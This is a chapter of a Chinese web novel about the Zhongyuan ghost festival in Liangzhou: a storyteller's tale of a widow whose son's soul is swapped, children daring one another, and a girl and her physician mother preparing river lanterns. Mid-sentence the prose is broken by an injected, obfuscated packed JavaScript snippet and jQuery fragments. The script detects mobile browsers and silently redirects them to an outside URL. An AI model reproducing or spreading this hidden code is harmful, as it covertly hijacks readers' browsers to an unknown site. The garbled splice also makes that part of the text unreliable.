光阴倏尔，岁月悠悠。
街头巷尾的桂瓣簌簌坠地，细碎金蕊混着线香的淡烟袅袅萦着街巷，烟火气幽然。
在这样幽冥诡谲的节庆中，酒肆茶楼里，最是偏好传些光怪陆离的新奇异闻，越说越盛。
其中街谈巷议流传最为广的一桩异闻，便与凉州城中元旧俗有关。
此地中元除放河灯祭奠亡魂，尚有一忌讳习俗：百姓会在岔路口焚烧买路钱，贿赂孤魂野鬼，求其收了银钱，莫要纠缠世间生人。
其中流传最盛的故事，是说凉州城西，有位卖炊饼的冯姓寡妇，人人皆称冯娘子。她膝下唯有一子名唤宝儿，年方七岁，入夏后染上怪疾，汤药无医，眼看气息奄奄，只剩最后一口气。
去年中元那夜，冯娘子抱着最后一丝希冀，听了城外半瞎神婆的法子，备下三样物件：一沓特制买路钱，纸钱上印着模糊的童子像、一件宝儿的贴身旧衣，还有一个用秫秸扎成的小小人形替身。
神婆再三叮嘱：「子时三刻，去渭水下游最荒凉的回水湾。那儿煞气重，孤魂最多。你先焚烧孩儿的旧衣，换他的魂魄归来；再将买路钱同秫秸替身一起烧化，供奉给拦路的鬼差。求它们拿钱领替身离去，放回你孩儿的魂魄。切记，烧完即刻转身离去，万万不可回头！身后无论何人唤你，皆不能应声！」
冯娘子一一记下。
子时一至，她怀揣着物件，深一脚浅一脚地独自赶来回水湾。
此地无半盏河灯点缀，唯有连片芦苇在夜风里簌簌轻响，细碎如万千阴魂私语。
惨白的月色映照在水面，泛出一片幽光。
冯娘子浑身发颤，缓缓摆好物件，点燃宝儿的旧衣，哽咽低唤：「宝儿……我的宝儿，快回来啊……」
火苗吞吐摇曳，旧衣转瞬化作袅袅青烟。霎那间，周遭寒气骤然陡增，明明无风，两岸芦苇却齐齐向两旁弯折倒伏，好似有一支无形阴兵，正踏水缓步而来。
冯娘子吓得魂飞魄散，慌忙引燃买路钱与秫秸替身。跃动火光里，印着童子的纸钱蜷曲焦缩，那具秫秸小人，竟在烈火之中微微抽动，栩栩如生。
「诸位阴差大人，收下银钱……带走替身……求你们放过我孩儿……」她伏在泥地上，不住叩首哀求。
火光堪堪将熄之际，一缕似笑非笑的阴冷嗤笑，自水底幽幽浮起。下一刻，一道浸透湿冷、裹挟泥腥的声响，贴着她耳廓缓缓响起：
「……钱财，我们收下了。」
冯娘子浑身寒毛倒竖，猛然记起神婆告诫，拔腿便仓皇奔逃。一路跌跌撞撞，身后芦苇摩挲的异响如影随形，不远不近，始终隔了三丈之距。
堪堪奔至城门下，她早已气力耗尽，四肢发软，身后却忽然传来宝儿清亮又带着委屈的哭喊，和往日撒娇时的语调分毫不差：
「娘！娘等等我！我走路脚疼！」
骨肉连心，听见孩儿声音，冯娘子心口骤然一紧，险些克制不住回头的念头。那是她唯一的孩儿，是她活下去的指望。
可神婆那句「莫回头」，骤然如冰水浇落全身。她死死咬紧牙关，指甲深深掐进掌心，鲜血浸透也浑然不觉，埋头咬牙，一头冲进城门之内。
归家之后，她踉跄着扑至床前，只见宝儿依旧昏沉卧榻，面色却难得透出一丝血色，呼吸平缓绵长。冯娘子喜极而泣，只当那夜的献祭之法，终究奏效。
可自第二日起，诡异怪事接连不绝。
冯娘子总隐隐觉得屋中多了一道无形人影，明明宅内只有她与昏迷初醒的孩儿，却时常听见细碎的孩童奔跑嬉闹之声；宝儿的零碎玩物，总会莫名出现在不该摆放的角落。
不久后宝儿苏醒，性情却彻底大变。他时常眼神空洞，怔怔望着空无一人的屋角，忽而无端咯咯发笑，天真开口：「娘，有位小哥哥，正陪着我玩耍呢。」
最是毛骨悚然的一日清晨，冯娘子清扫床底，竟扫出一滩潮湿腥臭的河泥，还有数截焦黑残破、残留人形的秫秸残骸。
至此，冯娘子才彻底明白，那夜的交易，早已出了天大的差错。
鬼差的确收了买路钱，拿走了替身，却并未真心放回宝儿本魂。
借着纸钱诱惑、替身牵引，还有她当夜声声泣血的唤子之音，取而代之缠上家门的，是另一个来路不明的阴邪之物。
中元早已远去，这座凉州小城恢复如常。
可那个被换回来的「宝儿」，一日比一日鲜活灵动，眉眼笑语愈发真切。
而真正的宝儿去了哪里？没人知道。
长夜漫漫，冯娘子夜夜抱着逐渐陌生的孩子，听着屋内游荡的孩童嬉笑声，望着窗外的沉沉昏暗，终于幡然醒悟：
有些路，一旦用钱和替身去买通，就再也回不了头了。你买通的，往往不是生路，而是更深的纠缠。
“福儿姊姊你说，这说书人讲的故事究竟是真的还是假的啊，宝儿真的变了吗？”一个扎着双丫髻的姑娘边走边问。
他们一行伙伴，刚趴在茶楼窗棂听说书人慢条斯理地讲了半天，这会儿才被轰了出来，往回家方向走。
人群当中的姑娘闻言没即刻应声。
她只低眉勾头，望着堪堪及地的橙黄裙摆，指尖捻着衣料，抿了抿唇。
这裙衫还是清晨窈娘执意让她换上的，说她既已到了金钗年华，今日又是中元节庆，总穿那方便行动的灯笼裤，瞧着像个野丫头，失了姑娘家的模样。
周福善抬起头，杏圆眼眸浸着街边天光，盈盈透亮。
她慢悠悠地说：“想知道是真是假，容易呀。咱们去城西冯娘子家的墙根下听一耳朵，不就成了。”
谁知此话一出，“嘶”的一声此起彼伏，几个半大孩子瞪圆了眼，你看看我，我看看你的。
其中当属石天流反应最烈，他膀大腰圆，却是个耗子脾性，突然嗷一嗓子蹦起来：“福儿！你疯了？！今儿什么日子？中元节！鬼门大开！”
他手指头差点戳到周福善鼻尖，“那冯娘子家现在……现在就是个活棺材！宝儿指不定是啥东西变的呢！你去？你去给它当点心啊？”
周福善被对方吼得耳膜嗡嗡响，连忙往后一跳，双手捂住耳朵，拧着眉回怼：“石大牛！你吼那么大声，鬼没招来，我耳朵先聋啦！”她放下手，脸上却没多少惧色，反而有种跃跃欲试的光彩。
她抬手先指了指天上灼亮的日头，又指了指远处的佛寺，梵音正袅袅传来。随即，展开手臂朗声道：“你们瞧，日头这般盛，街上人潮这般拥挤熙攘，阳气旺着呢！”
“咱们就去冯娘子家后院那棵老槐树那儿，不进门，不上墙，就躲树后头，远远地瞧一眼窗户。”
“冯娘子总得出门采买吧，宝儿要是能下地，总得有个影儿吧？”
她凑近半步，神秘兮兮地对伙伴们怂恿道：“再说了，你们就不好奇，万一宝儿真好了，是冯娘子诚心感动了天地？万一……真有点别的啥，咱们这么多人，跑还不会吗？”
话锋一转，她又往对方肩头重重一拍，扬声道：“石大牛！你上回不是说，你阿爹新教了你一招旱地拔葱，蹿得比兔子还快？”她一边说，一边紧握拳头在原地比画着小跑的姿势。
石天流被将了一军，脸憋得有点红，嘴硬道：“那、那能一样吗？我那是练功！又不是用来……用来逃命的！”
旁边的俏儿年纪最小，死死攥着周福善的衣角，声音发颤：“福儿姊姊，我、我阿娘说，七月十五小孩肩头火弱，最容易……最容易看见不该看的，咱们还是回家吧？”
周福善拍拍她的手，眼睛却亮晶晶地扫过其他几个明显动了心思的男孩，道：“怕啥？咱们人多，肩头的火苗子连起来，能当灯笼使！再说了——”
她忽然从怀里掏出个小布包，得意地晃了晃：“我带了窈娘给的驱秽散，墙角屋边撒一点，保准平安。还有甘草糖，压惊最管用。去不去？就一眼，看不真切咱们立刻掉头回家，绝不多事！”
清风掠过街角，吹得纸钱灰打着旋儿飞起。孩子们沉默着，恐惧和好奇在眼里打架。
石天流看了看周福善手里鼓鼓囊囊的装备，又看了看其他伙伴闪烁的眼神，最后把心一横。
“跑！”
嘿，不待周福善反应，这些耗儿胆的怂包们，全都一溜烟撒腿跑了。
周福善僵在原地，扭头望着人影消失的方向，猛地扶着额角叹了口气。算了，她还是老实地回家去吧。
“癸水不调，少腹积於，当归三钱、川芎钱半……水煎分三次温服。”
周福善提着裙摆跨进医馆，抬眼便见窈娘正在给街坊的张五婶把脉。
张五婶收了手臂，笑问：“周娘子啊，这中元节可热闹了，佛道同庆，城东塞清观的高功法师今儿个开坛打醮，听说灵验得很，你今年带福善去哪儿祈福呀？好歹去沾沾福气。”
窈娘闻言，写方的动作一顿，抬眼冲张五婶笑了笑，眉眼温和：“娘子您瞧，我这身为医家，日日与药石、病患打交道，身上难免沾了祟气，总去道观怕冲撞了法事的清气，反倒不妥。”
她望了眼门槛方向，复又低头：“我们母女打算晚些去海藏寺求个阖家平安就好。佛门清净，无甚繁文缛节，倒更合我们母女的心境。”
张五婶听罢连连点头：“也是这个理，海藏寺的盂兰盆法会素来清净，最是适合你们。”她伸手接过药方，起身就要离开，回头刚好撞见杵在门边的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549435|204288||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
福善，赶紧拉起她手寒暄道：“哟，福善一眨眼倒是长开了不少！看着文静了许多，跟你娘挺像。”
周福善平生头一回被人这般真心夸赞，一时反倒羞赧起来，抬手轻抚了抚头顶发髻，笑意腼腆。
张五婶话音略顿，忽然朗声大笑起来，抬手拍了拍她手背，笑着提起糗事：“我可还记着，你小时候偷摸往我家鸡笼里丢炮仗的事，现在挺好，看着懂事了许多，挺好！”她说完，这才嘴角挂笑地挎着篮子往外走。俨然一副如见邻家有女初长成的欣慰模样。
待人走后，周福善这才快步上前，对着窈娘微微噘嘴，语气带着几分嗔怪：“她怎么还揪着那事不放？那会儿我才不过六岁。当初那事本就不是我一人做的，到头来偏偏只有我老实，跑去给她家修补鸡笼，还被那只凶巴巴的大公鸡追着到处跑，啄得浑身狼狈。”说罢她抬手扶额，故作老成地轻啧了一声，满脸无奈又委屈的模样。
窈娘笑了笑，收起针灸袋：“这就是人常说的，若要人不知，除非己莫为。”说罢，她抬手拭了拭额角薄汗，起身便要去捣药杵。
周福善眼疾手快，忙取了帕子递过去：“窈娘，歇会儿吧，药草我来碾就好。”
窈娘接过帕子擦了擦手，看着眼前亭亭玉立的女儿，伸手替她理了理鬓边的碎发，夸耀道：“嗯，确实长大了，能替为娘分忧了。”
周福善脸颊微赧，低头抿唇笑：“窈娘教得好。”想到刚才的谈话，她仰头问，“窈娘，我们为什么从来不去道观？听说那里的灯更漂亮。”
窈娘替她整理的手微微一顿，声音笃定响起：“善儿，你记住。道法深奥，不是我们寻常百姓能轻易参悟的。那多是帝王将相，或是出世之人所求。我们母女此生，只求脚踏实地，行医问药，积些微薄的善缘。”
她言：“佛家说普度众生，讲一个缘字，更合我们医家救人不论出身的本心。”
她偏头看了看角落早已备好的河灯，声音带着几分虔敬，“我们放灯，不为特定哪位神明看到，只为心中记挂之人，祈愿他们早登极乐，来世安稳。这便够了。”
周福善听了，了然地点点头：“我听窈娘的。那我们几时动身去海藏寺？我去收拾香烛！”
“申时再走，”窈娘看了眼门外日头，午后秋阳正好，叮嘱，“先把这剂药碾好，给西头的李婆婆送去，她心惊的老毛病在中元节里更要仔细。送了药，我们再慢慢往城外去。”
周福善乖巧应了声“好”便接过窈娘身前的药杵。
青石臼前，少女尚在稚嫩的眉眼，随药杵起落间，竟已然有了娴静的影子。
夜里的渭水河畔灯火摇波，星星点点的荷花灯浮漾水面，香火袅袅混着纸钱轻扬，衬出一派热闹里的哀伤与肃穆。
周福善正默默蹲在一头，小心翼翼地点亮第二盏小灯，嘴里轻声念叨：“不知道你是谁，但希望你下辈子，去个暖和明亮的人家……”
临出门前，窈娘对她特意嘱咐：“医馆离不开人，独自行事需得小心谨慎。若你有心，可帮我多点一盏灯，给一个夭折的孩子……”窈娘说这话时，略微沉默了片刻，旋即又补充：“也算是，尽尽医者的善心。”
周福善虽不清楚窈娘同口中那早夭的孩子究竟有何渊源，却瞧着窈娘说话时眉头紧蹙，眉眼间凝着说不清道不明的复杂心绪，也就默默应下了。
将那盏燃着微光的银白色荷花灯，轻轻推落水面，周遭细碎的抽噎声此起彼伏传来。周福善缓缓抬眼，目光斜斜掠过身侧，只见一众家属皆垂着眉眼，将一盏盏河灯顺水轻放，人人以袖掩面，泪落不止，声声悲泣，哀戚漫天。
周福善神色微微一敛，眸光渐淡。恍惚间忆起，窈娘从前曾与她说过，承朝立国仅短短十一载，枉死之人不计其数。
有的人死在了前朝末年的天灾里，据说是盛夏飞雪的奇灾，周福善没见过。还有的人，死在了新朝与前朝的乱世纷争里，周福善更是没见过。
她从懂事起，见得最多的是凉州的风沙。
凉州地处西北，常年少雨。总要等到四月前后，山上的积雪才能尽数化开。入夏便是满眼苍翠，满山碧草连天，城中的人会去饮马坡策马闲行；冬天苦寒萧瑟，朔风凛冽。城内地势平缓挡风，素来落雪稀少，饮马坡倒是空旷寒凉，岁岁积雪厚积，人行其上，脚踩在雪里的声音咯吱咯吱的。
站在饮马坡下，一抬头，还能瞧见那有座终年不化的雪山。蓝灰色的山体顶着帽子，夏天也戴着。周福善从小看到大，看习惯了，那雪远远地白着，像天边一抹不会散的云。
周福善正默然地出神，忽地耳尖微微一动，几道压抑的闷哼夹杂着粗重的推搡动静，猝不及防地飘进耳边。